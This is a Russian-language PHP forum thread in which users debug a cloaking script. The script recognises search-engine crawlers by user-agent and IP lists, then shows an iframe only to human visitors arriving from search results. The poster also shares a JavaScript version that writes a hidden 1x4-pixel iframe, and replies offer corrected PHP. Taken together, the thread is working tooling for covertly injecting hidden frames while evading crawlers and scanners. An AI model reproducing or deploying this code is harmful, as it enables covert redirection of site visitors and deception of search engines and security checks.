Помогите со скриптом

Тема в разделе "PHP", создана пользователем I love this game, 24 янв 2011.

Модераторы: latteo
  1. I love this game

    I love this game Создатель

    Регистр.:
    9 фев 2009
    Сообщения:
    102
    Симпатии:
    3
    Вот есть немного переделанный клоакинг скрипт, работает если пришел с поисковика то показует оригинальную страницу и ифрейм 'my frame', а если без реферера или бот или ip то показует оригинальную страницу.
    Короче все работает хорошо, но только не получается с картинок гугла и яху, не показует ифрейм, кто может помочь?
    PHP:
    <?php 
    $stop_agent 
    = array('Ask Jeeves''HP Web PrintSmart''HTTrack''IDBot''Indy Library'
                                   
    'ListChecker''MSIECrawler''NetCache''Nutch''RPT-HTTPClient'
                                   
    'rulinki.ru''Twiceler''WebAlta''Webster Pro','www.cys.ru'
                                   
    'Wysigot''Yahoo! Slurp''Yeti''Accoona''CazoodleBot'
                                   
    'CFNetwork''ConveraCrawler','DISCo''Download Master''FAST MetaWeb Crawler'
                                   
    'Flexum spider''Gigabot''HTMLParser''ia_archiver''ichiro'
                                   
    'IRLbot''Java''km.ru bot''kmSearchBot''libwww-perl'
                                   
    'Lupa.ru''LWP::Simple''lwp-trivial''Missigua''MJ12bot'
                                   
    'msnbot''msnbot-media''Offline Explorer''OmniExplorer_Bot'
                                   
    'PEAR''psbot''Python''rulinki.ru''SMILE'
                                   
    'Speedy''Teleport Pro''TurtleScanner''User-Agent''voyager'
                                   
    'Webalta''WebCopier''WebData''WebZIP''Wget'
                                   
    'Yandex''Yanga''Yeti','msnbot'
                                   
    'spider''yahoo''jeeves' ,'google' ,'altavista'
                                   
    'scooter' ,'av fetch' ,'asterias' ,'spiderthread revision' ,'sqworm'
                                   
    'ask' ,'lycos.spider' ,'infoseek sidewinder' ,'ultraseek' ,'polybot'
                                   
    'webcrawler''robozill''gulliver''architextspider''yahoo! slurp'
                                   
    'charlotte''ngb' ) ;  
    $stop_ip = array( 
            
    "66.249.[6-9][0-9].[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255 
            
    "74.125.[0-9]+.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255 
            
    "65.5[2-5].[0-9]+.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255, 
            
    "74.6.[0-9]+.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255 
            
    "67.195.[0-9]+.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255 
            
    "72.30.[0-9]+.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255 
            
    "38.[0-9]+.[0-9]+.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255 
            
    "93.172.94.227",                // MacFinder 
            
    "212.100.250.218",            // Wells Search II 
            
    "71.165.223.134",            // Indy Library 
            
    "70.91.180.25"
            
    "65.93.62.242"
            
    "74.193.246.129"
            
    "213.144.15.38"
            
    "195.92.229.2"
            
    "70.50.189.191"
            
    "218.28.88.99"
            
    "165.160.2.20"
            
    "89.122.224.230"
            
    "66.230.175.124"
            
    "218.18.174.27"
            
    "65.33.87.94"
            
    "67.210.111.241"
            
    "81.135.175.70"
            
    "64.69.34.134"
            
    "89.149.253.169" 
        
    ); 
    function 
    _xyec($a,$b,$c false) { 
    foreach(
    $a as $d) { 
    $d $c preg_quote($d) : $d
      if(
    preg_match("#$d#i",$b)) return true
      } 

    function 
    _is_okref() { 
    if (
    preg_match ('#google|msn|live|altavista|ask|yahoo|aol|bing#i'  $_SERVER['HTTP_REFERER'] ) ) { 
      if (
    preg_match("#[\?\&](q|p|query|keywords)=([^&]+)#i"$_SERVER['HTTP_REFERER'])) return true


    if(!empty(
    $_SERVER['HTTP_REFERER'])) { 
    if(!(
    _xyec($stop_agent,$_SERVER['HTTP_USER_AGENT'],true) or _xyec($stop_ip,$_SERVER['REMOTE_ADDR'])) and _is_okref()) { 
      echo 
    'my_frame'// or $my_var = 'frame'; ..... echo $my_var; 


    ?>
     
  2. alexz15

    alexz15

    Регистр.:
    3 окт 2008
    Сообщения:
    394
    Симпатии:
    189
    PHP:
    <?php 
    $stop_agent 
    = array('Ask Jeeves''HP Web PrintSmart''HTTrack''IDBot''Indy Library'
                                   
    'ListChecker''MSIECrawler''NetCache''Nutch''RPT-HTTPClient'
                                   
    'rulinki.ru''Twiceler''WebAlta''Webster Pro','www.cys.ru'
                                   
    'Wysigot''Yahoo! Slurp''Yeti''Accoona''CazoodleBot'
                                   
    'CFNetwork''ConveraCrawler','DISCo''Download Master''FAST MetaWeb Crawler'
                                   
    'Flexum spider''Gigabot''HTMLParser''ia_archiver''ichiro'
                                   
    'IRLbot''Java''km.ru bot''kmSearchBot''libwww-perl'
                                   
    'Lupa.ru''LWP::Simple''lwp-trivial''Missigua''MJ12bot'
                                   
    'msnbot''msnbot-media''Offline Explorer''OmniExplorer_Bot'
                                   
    'PEAR''psbot''Python''rulinki.ru''SMILE'
                                   
    'Speedy''Teleport Pro''TurtleScanner''User-Agent''voyager'
                                   
    'Webalta''WebCopier''WebData''WebZIP''Wget'
                                   
    'Yandex''Yanga''Yeti','msnbot'
                                   
    'spider''yahoo''jeeves' ,'google' ,'altavista'
                                   
    'scooter' ,'av fetch' ,'asterias' ,'spiderthread revision' ,'sqworm'
                                   
    'ask' ,'lycos.spider' ,'infoseek sidewinder' ,'ultraseek' ,'polybot'
                                   
    'webcrawler''robozill''gulliver''architextspider''yahoo! slurp'
                                   
    'charlotte''ngb' ) ;  
    $stop_ip = array( 
            
    "66.249.[6-9][0-9].[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255 
            
    "74.125.[0-9]+.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255 
            
    "65.5[2-5].[0-9]+.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255, 
            
    "74.6.[0-9]+.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255 
            
    "67.195.[0-9]+.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255 
            
    "72.30.[0-9]+.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255 
            
    "38.[0-9]+.[0-9]+.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255 
            
    "93.172.94.227",                // MacFinder 
            
    "212.100.250.218",            // Wells Search II 
            
    "71.165.223.134",            // Indy Library 
            
    "70.91.180.25"
            
    "65.93.62.242"
            
    "74.193.246.129"
            
    "213.144.15.38"
            
    "195.92.229.2"
            
    "70.50.189.191"
            
    "218.28.88.99"
            
    "165.160.2.20"
            
    "89.122.224.230"
            
    "66.230.175.124"
            
    "218.18.174.27"
            
    "65.33.87.94"
            
    "67.210.111.241"
            
    "81.135.175.70"
            
    "64.69.34.134"
            
    "89.149.253.169" 
        
    ); 
    function 
    _xyec($a,$b,$c false) { 
    foreach(
    $a as $d) { 
    $d $c preg_quote($d) : $d
      if(
    preg_match("#$d#i",$b)) return true
      } 

    function 
    _is_okref() {
    if (
    preg_match ('#google|msn|live|altavista|ask|yahoo|aol|bing#i'  $_SERVER['HTTP_REFERER'] ) ) { 
      if (
    preg_match("#[\?\&](q|p|query|keywords|images)=([^&]+)#i"$_SERVER['HTTP_REFERER'])) return true


    if(!empty(
    $_SERVER['HTTP_REFERER'])) { 
    if(!(
    _xyec($stop_agent,$_SERVER['HTTP_USER_AGENT'],true) or _xyec($stop_ip,$_SERVER['REMOTE_ADDR'])) and _is_okref()) { 
      echo 
    'my_frame'// or $my_var = 'frame'; ..... echo $my_var; 


    ?> 
     
  3. I love this game

    I love this game Создатель

    Регистр.:
    9 фев 2009
    Сообщения:
    102
    Симпатии:
    3
    Всеравно так не пашет!

    Вот так работает на js

    Код:
    <script> 
    function R(){ 
    var Ref=document.referrer; 
    if (Ref.indexOf('.google.')!=-1 || Ref.indexOf('.msn.')!=-1 || Ref.indexOf('.yahoo.')!=-1 || Ref.indexOf('.aol.')!=-1 || Ref.indexOf('.ask.')!=-1 || Ref.indexOf('.altavista.')!=-1 || Ref.indexOf('.bing.')!=-1) 
    { document.write("<iframe src='my frame' width='1' height='4' style='visibility: hidden;'></iframe>");
    } 
    else { 
    document.write(''); 
    } 
    } 
    R(); 
    </script> 
     
  4. pitkina

    pitkina

    Регистр.:
    1 апр 2007
    Сообщения:
    253
    Симпатии:
    176
    PHP:
            // замена конца скрипта
            
    "67.210.111.241"
            
    "81.135.175.70",
        );

    $referer '#^https?://[^/]+?(google|msn|live|altavista|ask|yahoo|aol|bing)[^/]+?/.*?[\?\&](q|p|query|keywords|images)=([^&]+)#i';

    if(!
    preg_match('#'.join('|',array_map('preg_quote',$stop_agent)).'#i',$_SERVER['HTTP_USER_AGENT']) AND
       !
    preg_match('#'.str_replace('.','\.',join('|',$stop_ip)).'#',$_SERVER['REMOTE_ADDR']) AND
       
    preg_match($referer,$_SERVER['HTTP_REFERER'])) { echo 'my_frame'; }
    или более короткий вариант (диапазоны ip одной регуляркой)

    PHP:
    if(!preg_match('/google|yahoo|msnbot|ia_archiver|spider|crawler|altavista|baidu|aspseek|cnsearch|yandex|rambler/i',$_SERVER['HTTP_USER_AGENT'])
       && !
    preg_match(str_replace(array('.',','),array('|','\.'),"/^(?:216,239,[3-6].64,68,8.66,102,[0-1].64,233,1.66,249,[6-9].72,14,[1-2].209,85,[1-2].173,194,.64,68,[8-9].64,68,6.74,125,.65,52,.74,6,.67,195,.72,30,)/"),$_SERVER['REMOTE_ADDR'])
       && 
    preg_match('/google|yahoo|bing\.com|msn\.com|search\.|yandex|rambler|mail\.ru/',next(parse_url($_SERVER['HTTP_REFERER'])))) { echo 'my_frame'; }
     
  5. I love this game

    I love this game Создатель

    Регистр.:
    9 фев 2009
    Сообщения:
    102
    Симпатии:
    3